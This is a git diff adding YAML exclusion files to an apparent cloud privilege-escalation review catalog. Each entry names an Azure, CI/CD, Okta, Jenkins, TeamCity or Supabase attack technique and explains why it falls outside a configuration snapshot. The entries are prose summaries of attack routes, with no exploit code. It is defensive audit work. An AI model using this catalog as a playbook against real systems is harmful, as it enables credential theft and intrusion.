0000000000..6822b3dcee --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_pa_az_post_persist_s06.yaml @@ -0,0 +1,61 @@ +# Verified Azure audit exclusions. +- source: src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md#backdoor-instances + technique: VM userData poisoning consumed by privileged startup code + source_revision: 0b36331 + reason: virtualMachines/write can change userData, but the new bytes execute only if guest provisioning or application + code reads and trusts them. The ARM snapshot does not expose that host/application behavior, execution event + or credential access; VM extension and reimage paths are separately modeled. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-aks-kubernetes-unauth.md#bearer-identity-tokens + technique: Recover accepted bearer identity token + source_revision: 0b36331 + reason: The regex detects JWT-shaped bytes, not a credential. A target edge needs the actual token, accepted issuer + and signature, audience, expiry, target principal and effective Kubernetes/Azure grants; those live in public + artifact content and live authentication state outside the configuration snapshot. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-aks-kubernetes-unauth.md#kubeconfig-credentials + technique: Recover accepted kubeconfig credential + source_revision: 0b36331 + reason: A public kubeconfig is an identity path only if it contains a live bearer token or client certificate + plus private key accepted by the cluster and bound to a privileged principal. The page supplies a regex, not + the public file bytes, credential validity, cluster reachability or RBAC join; a server URL alone grants nothing. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-api-management-unauth.md#apim-subscription-keys + technique: Use leaked APIM product/API subscription key + source_revision: 0b36331 + reason: A real unexpired key can grant product/API calls, but its bytes, enabled subscription and product, API + policies and any backend authentication must be verified at runtime. An APIM subscription key is a service data-plane + credential, not an Azure/Entra or other catalog principal. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-api-management-unauth.md#developer-portal-self-registration + technique: APIM open developer self-registration + source_revision: 0b36331 + reason: Registration can create an APIM developer identity and possibly a product subscription, but approval, + product exposure and gateway policy determine access. It grants no Azure/Entra principal or catalog target; + the signup result is a live application workflow outside the cloud RBAC snapshot. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-api-management-unauth.md#signup-bypass-even-when-registration-is-disabled + technique: APIM signup bypass yields developer account and subscription key + source_revision: 0b36331 + reason: The page describes a live portal signup and CAPTCHA replay, followed by email confirmation and self-subscription. + Those runtime steps and product approval are not ARM configuration facts; the result is an APIM developer account/key, + not an Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-app-services-functions-unauth.md#azure-sas-urlstokens + technique: Leaked signed service URL or SAS + source_revision: 0b36331 + reason: A valid SAS can delegate service-specific data-plane operations, but the regex does not establish signature, + expiry, permissions or resource. It does not confer the signer's Azure/Entra identity; a later privileged consumer + pivot needs an identified consumer and executable content. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-app-services-functions-unauth.md#dangling-cname-subdomain-takeover + technique: Legacy App Service name reclaimed to intercept victim session + source_revision: 0b36331 + reason: 'A dangling CNAME alone does not show the hostname is reclaimable: tenant reservation, secure default + hostname and asuid TXT protection must be checked. An Azure user gain also requires a victim to send a usable + session to the claimed domain; that future traffic and token validity are not snapshot facts.' +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-app-services-functions-unauth.md#function-host-and-master-keys + technique: Leaked Functions master key permits runtime administration + source_revision: 0b36331 + reason: The page distinguishes function, host and master keys, but the regex does not identify a valid master + key for a specific app. MI access further needs a reachable runtime admin/file-write path and execution of modified + code; key bytes, endpoint response and runtime behavior are not in the configuration snapshot. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-automation-webhooks-unauth.md#automation-webhook-urls + technique: Leaked Automation webhook triggers privileged runbook + source_revision: 0b36331 + reason: A complete live webhook URL permits only the configured runbook invocation. An identity gain needs the + actual unexpired token, enabled webhook, runbook identity, accepted parameters and code path that performs a + caller-controlled privileged action; URL shape and ARM metadata do not establish those runtime facts. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_s06.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_s06.yaml new file mode 100644 index 0000000000..3a6acfa4cb --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_s06.yaml @@ -0,0 +1,55 @@ +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#shared-service-tenant-isolation-escapes + technique: ChaosDB Jupyter cross-tenant Primary Key exposure + source_revision: 0b36331 + reason: Historical Cosmos Jupyter cross-tenant key disclosure was fixed; current server-side vulnerability and + exposed victim key are not tenant snapshot facts. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#shared-service-tenant-isolation-escapes + technique: Azurescape ACI runC breakout and bridge-token theft + source_revision: 0b36331 + reason: Historical ACI runC/node breakout was fixed; a vulnerable shared node and bridge token cannot be inferred + from customer configuration. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#shared-service-tenant-isolation-escapes + technique: SynLapse Redshift ODBC injection on shared runtime + source_revision: 0b36331 + reason: Historical shared Integration Runtime command injection was fixed; vulnerable driver/host and cross-tenant + credentials are not tenant facts. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#shared-service-tenant-isolation-escapes + technique: AutoWarp cross-sandbox localhost MI endpoint + source_revision: 0b36331 + reason: Historical Automation sandbox isolation flaw was fixed; shared-host placement and another sandbox token + endpoint are runtime service facts. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#shared-service-tenant-isolation-escapes + technique: Power Platform connector /api/Script unauthenticated read + source_revision: 0b36331 + reason: Historical unauthenticated connector Script endpoint was fixed; a vulnerable host and its contents are + not customer configuration facts. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#multi-tenant-app-and-token-trust-failures + technique: BingBang missing tid authorization + source_revision: 0b36331 + reason: BingBang depended on a particular CMS omitting tid authorization; tenant app registration alone cannot + determine relying-party authorization. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#multi-tenant-app-and-token-trust-failures + technique: Storm-0558 consumer signing key trusted for enterprise apps + source_revision: 0b36331 + reason: Forging another user required the stolen Microsoft signing key and an app that accepted the wrong issuer; + neither is in a tenant snapshot. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#multi-tenant-app-and-token-trust-failures + technique: Midnight Blizzard legacy tenant to corporate OAuth app + source_revision: 0b36331 + reason: The case required a stolen legacy account and an already privileged cross-tenant app/grant; the page gives + no independent new permission primitive. +- source: src/pentesting-cloud/azure-security/az-basic-information/README.md#default-consent-permissions + technique: user consent to attacker app + source_revision: 0b36331 + reason: An attacker app obtains victim delegated authority only after that victim consents; future user action + is not inferred from consent policy. +- source: src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md#ropc--password-grant + technique: ROPC with stolen username and password + source_revision: 0b36331 + reason: ROPC takeover requires a stolen valid password and a successful live sign-in/Conditional Access result, + neither supplied by configuration. +- source: src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md#where-to-find-tokens + technique: browser session authorization-code redirect to localhost/nativeclient + source_revision: 0b36331 + reason: Requires an active victim browser session, redirect/client eligibility, consent and a successful authorization-code + exchange. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_ci_cd.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_ci_cd.yaml new file mode 100644 index 0000000000..eeea245ecc --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_ci_cd.yaml @@ -0,0 +1,450 @@ +# Reviewed source techniques without a supported principal escalation edge. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md#vulnerable-pattern--rce-on-runner + source_revision: 0b36331 + technique: Issue/PR-derived expression inserted into run shell + reason: A workflow must interpolate an attacker-controlled issue or pull-request field into a shell step, + and that job must expose a more privileged token, secret, or identity. GitHub workflow text, event permissions, + and runner/secret binding are absent from the four-provider snapshot. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md#comment-state-confusion-spoofed-bot-comments--shell-injection + source_revision: 0b36331 + technique: Spoof find-comment bot marker and inject through comment-body + reason: Requires a find-comment step that matches body text without checking author, then interpolates the + selected comment into a privileged shell step. The repository workflow and comment-selection behavior are + not in the snapshot. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md#toctou-race-against-bot-comments + source_revision: 0b36331 + technique: Race bot comment to win find-comment selection + reason: Requires the attacker comment to win a live timing race against the bot comment and to be selected + for shell interpolation; a static snapshot cannot establish the winner. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#lifecycle-hooks + source_revision: 0b36331 + technique: Publish malicious npm lifecycle hook + reason: Requires control of an npm release consumed by a victim job or workstation with install scripts enabled. + Package-version content and the consuming host/job identity are not collected. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#bindinggyp--node-gyp-execution-phantom-gyp + source_revision: 0b36331 + technique: Publish native binding.gyp execution path + reason: Requires a published package with binding.gyp to be installed or rebuilt through node-gyp on a credential-bearing + host; package content and the install/rebuild event are not in the snapshot. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#runtime-backdoors-at-plaintext-secret-boundaries + source_revision: 0b36331 + technique: Backdoor package credential/seed handling method + reason: Requires a malicious package method to receive an actual secret before validation or encryption and + exfiltrate it. Runtime data flow and secret value are unavailable to configuration evaluation. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#runner-secret-theft-after-install-time-execution + source_revision: 0b36331 + technique: Read CI env/files or Runner.Worker memory + reason: Requires already-running attacker code on the runner plus readable environment, files, or Runner.Worker + memory and a live credential. Those host/process facts are not configuration. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#workflow-assisted-exfiltration + source_revision: 0b36331 + technique: Use workflow-write GitHub token to run toJSON(secrets) artifact workflow + reason: Requires repository workflow-write authority, an executable workflow, and secrets available to its + job after environment protection. GitHub workflow authorization and secret delivery are not collected. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#wormable-npm-publishing + source_revision: 0b36331 + technique: Republish malicious versions using stolen npm token + reason: Requires a stolen, valid npm publisher token and a future downstream install. Neither token possession + nor install timing is a configured source-to-target edge. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#repository-to-workstation-propagation + source_revision: 0b36331 + technique: Plant VS Code task or Claude SessionStart hook + reason: Requires a maintainer to open the poisoned repository in VS Code or start a Claude session with hooks + enabled; that workstation action is not a configuration fact. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#dead-drop-c2-and-github-exfiltration + source_revision: 0b36331 + technique: Reuse stolen classic GitHub token for public repo exfiltration + reason: Requires possession of a stolen live GitHub token and runtime exfiltration behavior; the token holder + and its current scope cannot be inferred from cloud configuration. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#trusted-publishing-and-provenance-limits + source_revision: 0b36331 + technique: Compromised id-token:write trusted-publisher release job mints npm credential + reason: Requires attacker code in a release job whose OIDC subject matches the npm trusted-publisher binding + and whose job grants id-token:write. GitHub workflow content and npm binding are uncollected. +- source: src/pentesting-ci-cd/github-security/basic-github-information.md#oauth-applications + source_revision: 0b36331 + technique: OAuth consent grants third-party application user scopes + reason: OAuth consent must be granted by the victim user for specific scopes; app registration alone does + not convey that user identity. Consent records and victim action are outside the snapshot. +- source: src/pentesting-ci-cd/github-security/basic-github-information.md#git-secrets + source_revision: 0b36331 + technique: Execute Actions job to read declared secrets + reason: A GitHub job must execute attacker-controlled code and declare a secret available in that event/environment. + Workflow text, job execution, and secret delivery are not collected. +- source: src/pentesting-ci-cd/github-security/basic-github-information.md#git-action-compromise + source_revision: 0b36331 + technique: Malicious action steals GITHUB_TOKEN or job secrets + reason: A malicious action must be selected by a job that exposes GITHUB_TOKEN, secrets, or a cloud identity. + Action content, workflow invocation, and job secret grants are not collected. +- source: src/pentesting-ci-cd/github-security/basic-github-information.md#branch-protections + source_revision: 0b36331 + technique: Unbound required check or bot skip directive bypasses merge gate + reason: A required check must be unbound or a bot must honor a skip directive for the protected branch; resulting + privileged pipeline execution still needs a consumer workflow. Branch rules and bot behavior are outside + the snapshot. +- source: src/pentesting-ci-cd/gogs-security/README.md#abusing-git-rebase---exec-for-rce + source_revision: 0b36331 + technique: Gogs attacker ref parsed as git rebase --exec + reason: The vulnerable Gogs handler must pass an attacker-controlled ref to git rebase without option termination, + and its host must hold a target identity. Server version/code path and host identity are not collected. +- source: src/pentesting-ci-cd/jenkins-security/README.md#sso-login + source_revision: 0b36331 + technique: Misconfigured SSO maps external identity into privileged Jenkins role + reason: Requires an external account to map through the configured SSO plugin into a privileged Jenkins role. + Plugin mapping and resulting user role are outside the snapshot. +- source: src/pentesting-ci-cd/jenkins-security/README.md#dumping-builds-to-find-cleartext-secrets + source_revision: 0b36331 + technique: Read build logs/environment output for credentials + reason: Requires a readable build log or dumped environment containing a live credential for another identity; + Jenkins read rights and log contents are absent from the provider snapshot. +- source: src/pentesting-ci-cd/jenkins-security/README.md#formvalidationtestconnection-endpoints-csrf-to-ssrfcredential-theft + source_revision: 0b36331 + technique: Abuse unchecked plugin validation to reuse stored credentials + reason: Requires a specific Jenkins plugin endpoint lacking POST and permission checks, a configured reusable + credential, and a reachable exfiltration target. Plugin code and runtime request behavior are absent. +- source: src/pentesting-ci-cd/jenkins-security/README.md#stealing-ssh-credentials + source_revision: 0b36331 + technique: Modify/create Jenkins node to send stored SSH credential to attacker host + reason: Requires Jenkins node-configuration permission, a stored SSH credential selected for the node, and + nonverifying host-key behavior. Jenkins node and credential configuration are uncollected. +- source: src/pentesting-ci-cd/jenkins-security/README.md#pipeline-exploitation + source_revision: 0b36331 + technique: Poison writable Jenkinsfile used by privileged build + reason: Requires write to a Jenkinsfile actually consumed by a privileged build, with review and branch protection + permitting that revision; Jenkins SCM mapping and later build execution are uncollected. +- source: src/pentesting-ci-cd/jenkins-security/README.md#dumping-secrets + source_revision: 0b36331 + technique: Use withCredentials in custom pipeline to expose in-scope credentials + reason: Requires Job/Configure or writable Jenkinsfile plus a build that can bind the target credential in + its scope. Credential scope and build execution are not collected. +- source: src/pentesting-ci-cd/jenkins-security/README.md#nodes--agents + source_revision: 0b36331 + technique: Select built-in or more privileged node to read cloud/local identity + reason: Requires a build to schedule on a higher-privilege node whose host/cloud token is reachable to the + job. Jenkins agent placement and host identity are not in the snapshot. +- source: src/pentesting-ci-cd/jenkins-security/README.md#from-disk + source_revision: 0b36331 + technique: Read Jenkins master.key and encrypted credential files then decrypt + reason: Requires filesystem read of both Jenkins master.key and encrypted credential material plus usable + ciphertext; these live host files are not represented. +- source: src/pentesting-ci-cd/jenkins-security/README.md#create-new-admin-user + source_revision: 0b36331 + technique: Disable Jenkins security in config.xml and reset administrator + reason: Requires write to Jenkins controller config.xml and a service restart; cloud configuration alone + cannot prove host file access or restart capability. +- source: src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md#cookie + source_revision: 0b36331 + technique: Reuse stolen JSESSIONID to impersonate Jenkins user + reason: Requires possession of a still-valid JSESSIONID cookie from a different user; session theft and validity + are runtime facts. +- source: src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md#credentials-access + source_revision: 0b36331 + technique: Run job code to access in-scope Jenkins credentials + reason: Requires runnable job code and an in-scope Jenkins credential actually bound to that job; job/credential + scope and execution are uncollected. +- source: src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md#secrets-in-pluginjob-configs-on-disk + source_revision: 0b36331 + technique: Read plaintext/encrypted secrets from plugin/job XML + reason: Requires read of particular plugin or job XML files containing live secrets and, for encrypted values, + decryption material. Host file content is absent. +- source: src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md#detailed-exploitation-process + source_revision: 0b36331 + technique: CVE-2024-43044 file read forges admin remember-me cookie + reason: Requires a vulnerable Jenkins version, readable user and signing-key files, and an accepted forged + cookie. Vulnerability state and host file contents are uncollected. +- source: src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md#jenkins-dumping-secrets-from-groovy + source_revision: 0b36331 + technique: Administer uses Script Console to enumerate/decrypt global credentials + reason: Requires Jenkins Administer and stored global credentials to enumerate via Script Console; Jenkins + authorization and credential inventory are outside the provider snapshot. +- source: src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md#creating-a-new-pipeline + source_revision: 0b36331 + technique: Create pipeline with shell step and run on agent + reason: Requires Job/Create, permission to run the new job, and an agent carrying a more privileged host/cloud + identity. Jenkins job and agent bindings are not collected. +- source: src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md#modifying-a-pipeline + source_revision: 0b36331 + technique: Modify existing pipeline script for next run + reason: Requires Job/Configure on an existing pipeline, later execution, and an agent with a target identity + or secret. Jenkins configuration and scheduling are uncollected. +- source: src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md#creating-a-project + source_revision: 0b36331 + technique: Create Freestyle project with Execute shell + reason: Requires permission to create and run a Freestyle job on a credential-bearing agent. Jenkins permissions + and agent placement are uncollected. +- source: src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md#modifying-a-project + source_revision: 0b36331 + technique: Add shell build step to configured project + reason: Requires Job/Configure on a project, a later build, and a credential-bearing agent. Jenkins permissions, + configuration, and scheduling are uncollected. +- source: src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md#jenkins-rce-with-groovy-script + source_revision: 0b36331 + technique: Administer executes Groovy on controller/agent + reason: Jenkins Administer can invoke Groovy on controller or agents, but the reachable host/cloud identity + depends on server/agent placement and host credentials not in the snapshot. +- source: src/pentesting-ci-cd/okta-security/README.md#login-in-okta-via-kerberos + source_revision: 0b36331 + technique: Use AD ticket for Kerberos Okta sign-in + reason: Requires possession of a valid AD user Kerberos ticket and an enabled Okta Kerberos integration; + ticket possession and the mapped Okta user are runtime/integration facts. +- source: src/pentesting-ci-cd/okta-security/README.md#login-in-okta-via-kerberos + source_revision: 0b36331 + technique: Silver Ticket via compromised Okta delegation SPN + reason: Requires a compromised delegation key/SPN, a forgeable ticket, and an Okta Kerberos mapping. Key + compromise and accepted ticket are not configuration-only facts. +- source: src/pentesting-ci-cd/okta-security/README.md#hijacking-okta-ad-agent + source_revision: 0b36331 + technique: Steal/decrypt AD Agent token and intercept authentication + reason: Requires host access to the AD Agent, DPAPI decryption of its token, and live authentication traffic + to capture credentials. Host key material and traffic are absent. +- source: src/pentesting-ci-cd/okta-security/README.md#hijacking-ad-as-an-admin + source_revision: 0b36331 + technique: Register rogue Okta AD connector as admin + reason: Requires Okta administrator authority to register the rogue AD connector and victim authentication + routed through it; the latter is a runtime event outside the snapshot. +- source: src/pentesting-ci-cd/okta-security/README.md#okta-fake-saml-provider + source_revision: 0b36331 + technique: Privileged user adds attacker-controlled SAML IdP + reason: Requires Okta IdP administrator authority and a routing/account-link rule accepting the attacker-controlled + SAML subject. Okta policy and subject mapping are uncollected. +- source: src/pentesting-ci-cd/okta-security/README.md#colleague-impersonation-attack + source_revision: 0b36331 + technique: User-editable mapped primaryEmail impersonates colleague in app + reason: Requires a user-editable Okta field mapped as a target app identifier and app account-link behavior + that accepts the collision. Neither mapping nor target-app behavior is collected. +- source: src/pentesting-ci-cd/okta-security/README.md#evading-behavioural-detection-policies + source_revision: 0b36331 + technique: Replay captured Okta access token at app URL + reason: Requires a captured live access token and an app-specific sign-on path accepting replay. Token possession + and session validity are runtime facts. +- source: src/pentesting-ci-cd/okta-security/okta-hardening.md#profile-editor + source_revision: 0b36331 + technique: User-editable Okta attribute mapped into external app identifier + reason: Requires a user-editable profile field to map into another application identifier and the app to + link that value to a victim account. The mapping and collision behavior are uncollected. +- source: src/pentesting-ci-cd/okta-security/okta-hardening.md#identity-providers + source_revision: 0b36331 + technique: Compromised trusted inbound IdP pivots into Okta + reason: Requires a trusted inbound IdP, attacker control of a matching subject, and an Okta account-link/routing + rule accepting it. IdP and Okta mapping facts are absent. +- source: src/pentesting-ci-cd/okta-security/okta-hardening.md#delegated-authentication + source_revision: 0b36331 + technique: Compromised AD/LDAP identity authenticates through Okta delegation + reason: Requires a compromised AD/LDAP user credential and delegated authentication mapping to an Okta user; + credential possession is runtime evidence. +- source: src/pentesting-ci-cd/okta-security/okta-hardening.md#api + source_revision: 0b36331 + technique: Steal or use Okta API token with creator privileges + reason: The token must actually be stolen or issued, remain valid, and inherit its creator’s current privileges. + Token secret possession is not implied by API-token metadata. +- source: src/pentesting-ci-cd/pentesting-ci-cd-methodology.md#vcs-pentesting-methodology + source_revision: 0b36331 + technique: Repository secrets in source/commit history + reason: A repository or historical commit must contain a live credential that maps to a target principal. + Code content, secret validity, and identity join are not in the snapshot. +- source: src/pentesting-ci-cd/pentesting-ci-cd-methodology.md#vcs-pentesting-methodology + source_revision: 0b36331 + technique: Repository write poisons production/developer/CI code + reason: Requires a writable repository path consumed by a privileged deployment or workstation, followed + by execution. SCM ACL, consumer mapping, and execution are absent. +- source: src/pentesting-ci-cd/pentesting-ci-cd-methodology.md#ppe---poisoned-pipeline-execution + source_revision: 0b36331 + technique: D-PPE/I-PPE/3PE reaches privileged pipeline + reason: Requires writable pipeline input that reaches an executing privileged pipeline under D-PPE, I-PPE, + or 3PE; SCM/CI configuration and consumer identity are uncollected. +- source: src/pentesting-ci-cd/pentesting-ci-cd-methodology.md#dependency--registry-supply-chain-abuse + source_revision: 0b36331 + technique: Malicious package hook/bin or stolen workflow/npm token propagates + reason: Requires malicious package/artifact content consumed by a privileged job and a future install or + execution; registry content and consumer events are not collected. +- source: src/pentesting-ci-cd/supabase-security.md#database-configuration + source_revision: 0b36331 + technique: Brute force known Supabase Postgres username/endpoint + reason: Requires successfully guessing a live Postgres password for the endpoint; endpoint and username disclosure + alone grant no database identity. +- source: src/pentesting-ci-cd/supabase-security.md#rls-and-views-write-bypass-via-postgrest + source_revision: 0b36331 + technique: Updatable definer view exposes base-table write beyond RLS + reason: Requires an exposed updatable definer view, grants to anon/auth, owner RLS bypass, and an actual + write to protected rows. Supabase/Postgres view and RLS facts are absent. +- source: src/pentesting-ci-cd/supabase-security.md#jwt-secret + source_revision: 0b36331 + technique: Leaked JWT signing secret forges service_role or user JWT + reason: Requires possession of the live Supabase JWT signing secret and a service_role/user token accepted + by the project. Secret value and validity are runtime facts. +- source: src/pentesting-ci-cd/supabase-security.md#edge-functions + source_revision: 0b36331 + technique: Modify/create Edge Function to read function-scoped secrets + reason: Requires Edge Function edit/deploy authority, a function that receives the secret, and invocation. + Supabase function permissions, secret scope, and execution are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#guest-access-abuse + source_revision: 0b36331 + technique: Guest downloads logs/artifacts containing credentials + reason: Requires a guest-visible build log or artifact containing a live credential; guest access alone does + not imply secret exposure. Artifact content and credential validity are absent. +- source: src/pentesting-ci-cd/teamcity-security/README.md#unauthenticated-takeover-cve-2024-27198--cve-2024-27199 + source_revision: 0b36331 + technique: Auth bypass creates SYSTEM_ADMIN or admin token + reason: Requires a TeamCity version vulnerable to CVE-2024-27198/27199 and a successful bypass request; deployment + patch level and exploitability are not in the provider snapshot. +- source: src/pentesting-ci-cd/teamcity-security/README.md#unauthenticated-takeover-cve-2023-42793 + source_revision: 0b36331 + technique: Auth bypass via RPC2 admin token + reason: Requires a pre-2023.05.4 vulnerable TeamCity instance and successful RPC2 token creation; version + and endpoint behavior are not collected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#unauthenticated-agent-deserialization-rce-xstream--cve-2026-63077 + source_revision: 0b36331 + technique: Agent-session XStream deserialization reaches server RCE + reason: Requires the vulnerable agent-session XStream code path and attacker-controlled serialized traffic; + software version and runtime deserialization are absent. +- source: src/pentesting-ci-cd/teamcity-security/README.md#admin-rce-by-uploading-a-plugin + source_revision: 0b36331 + technique: System Administrator uploads server plugin for RCE + reason: Requires TeamCity SYSTEM_ADMIN and plugin upload/load on the server; TeamCity roles and server host + identity are not in the snapshot. +- source: src/pentesting-ci-cd/teamcity-security/README.md#rce-by-creating-or-modifying-build-steps + source_revision: 0b36331 + technique: Edit build steps and queue build + reason: Requires TeamCity build-configuration edit/create and build-run rights on an agent carrying a target + identity. TeamCity ACL and agent mapping are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#target-a-more-interesting-agent + source_revision: 0b36331 + technique: Select or force privileged agent + reason: Requires rights to choose or force a specific more-privileged agent and a build that runs there; + agent requirements and scheduling are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#dump-build-parameters--password-parameters + source_revision: 0b36331 + technique: Read raw or execute code with password parameters + reason: Requires a password parameter exposed to the caller or injected into a runnable build; TeamCity parameter + scope, masking and execution are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#poison-versioned-settings--kotlin-dsl + source_revision: 0b36331 + technique: Write trusted .teamcity Kotlin DSL to add privileged step + reason: Requires write to the trusted .teamcity Kotlin DSL path and a synchronization/build that applies + it; VCS settings and approval flow are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#pull-request--untrusted-build-abuse + source_revision: 0b36331 + technique: Everybody PR build executes external code with secrets + reason: Requires an Everybody-triggerable PR build that checks out untrusted code and delivers secrets or + credentials; TeamCity trigger, branch and secret rules are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#run-custom-build-parameter-injection + source_revision: 0b36331 + technique: Run Build parameter or branch injected into unsafe command + reason: Requires Run Build with controllable parameter/branch and an unsafe command interpolation in the + build step; TeamCity step text is uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#service-message-abuse + source_revision: 0b36331 + technique: Untrusted build output changes parameters/artifacts for downstream job + reason: Requires an untrusted build output service message to influence a later privileged step/job and deliver + an identity or secret; downstream dependency behavior is uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#artifact--dependency-poisoning + source_revision: 0b36331 + technique: Poison artifact consumed by privileged build + reason: Requires write access to an artifact selected by a later privileged build and execution of its content; + artifact mapping and future build are not collected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#pivot-into-internal-services + source_revision: 0b36331 + technique: Forge internal JWT using secret found on agent + reason: Requires an actual shared JWT/HMAC secret on the agent and a service that trusts it for an admin + subject. Secret value and target service acceptance are runtime facts. +- source: src/pentesting-ci-cd/teamcity-security/README.md#vcs-root--repository-credential-abuse + source_revision: 0b36331 + technique: Use TeamCity VCS root PAT/SSH key to control repository + reason: Requires access to a VCS root credential value (not just metadata) and a token/key scoped to the + target repo. TeamCity credential storage and VCS grants are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#debug--diagnostics-endpoints + source_revision: 0b36331 + technique: Admin debug database/process endpoint + reason: Requires TeamCity administrator/debug endpoint right, enabled diagnostics property, and an endpoint + that reaches DB or process identity. These settings are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#agent-server-trust--rogue-agent-angles + source_revision: 0b36331 + technique: Rogue/compromised agent receives build credentials + reason: Requires rogue-agent authorization and a later build scheduled with credentials on that agent; authorization, + scheduling, and credential delivery are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#logs-artifacts--data-directory-as-secrets + source_revision: 0b36331 + technique: Read super-user token from teamcity-server.log + reason: Requires OS/log-platform read of teamcity-server.log containing a still-valid super-user token; TeamCity + guest/project access does not grant server-log read. + +# Travis source exclusions; reviewed in pa-k8s-other-s08.yaml. +- source: src/pentesting-ci-cd/travisci-security/README.md#triggers + technique: Repository writer runs attacker-controlled CI code in the build identity + reason: A push or accepted PR starts a job, but privilege gain depends on runtime execution of attacker code + and which secret-bearing variables the branch or fork receives; the page names no independent build identity. +- source: src/pentesting-ci-cd/travisci-security/README.md#third-party-pr + technique: Fork PR receives protected CI environment variables + reason: A fork PR can receive secrets only when the project shares encrypted variables with forks and the + PR job executes attacker code; credential value and represented principal require runtime secret content. +- source: src/pentesting-ci-cd/travisci-security/README.md#dumping-secrets + technique: Read configured environment and secure values through a job + reason: Reading job environment values requires attacker code to run in an eligible build; whether any value + is a usable credential and which identity it represents require secret content. +- source: src/pentesting-ci-cd/travisci-security/README.md#dumping-secrets + technique: Read encrypted-file plaintext or key and IV from a job + reason: Decrypting an .enc file requires an eligible job, injected key and IV, and the file payload; whether + its plaintext contains a credential requires file content. +- source: src/pentesting-ci-cd/travisci-security/basic-travisci-information.md#environment-variables + technique: Project environment secrets become readable inside a permitted build + reason: The basic page describes secret injection into an eligible job, but identifying an escalation requires + the actual variable value, its credential type, and the job branch/fork exposure. +- source: src/pentesting-ci-cd/travisci-security/basic-travisci-information.md#custom-encrypted-secrets + technique: RSA-encrypted secure values in .travis.yml are decrypted in a permitted build + reason: The RSA public key alone does not decrypt secure values; an eligible running job and the decrypted + value are needed to identify a gained credential. +- source: 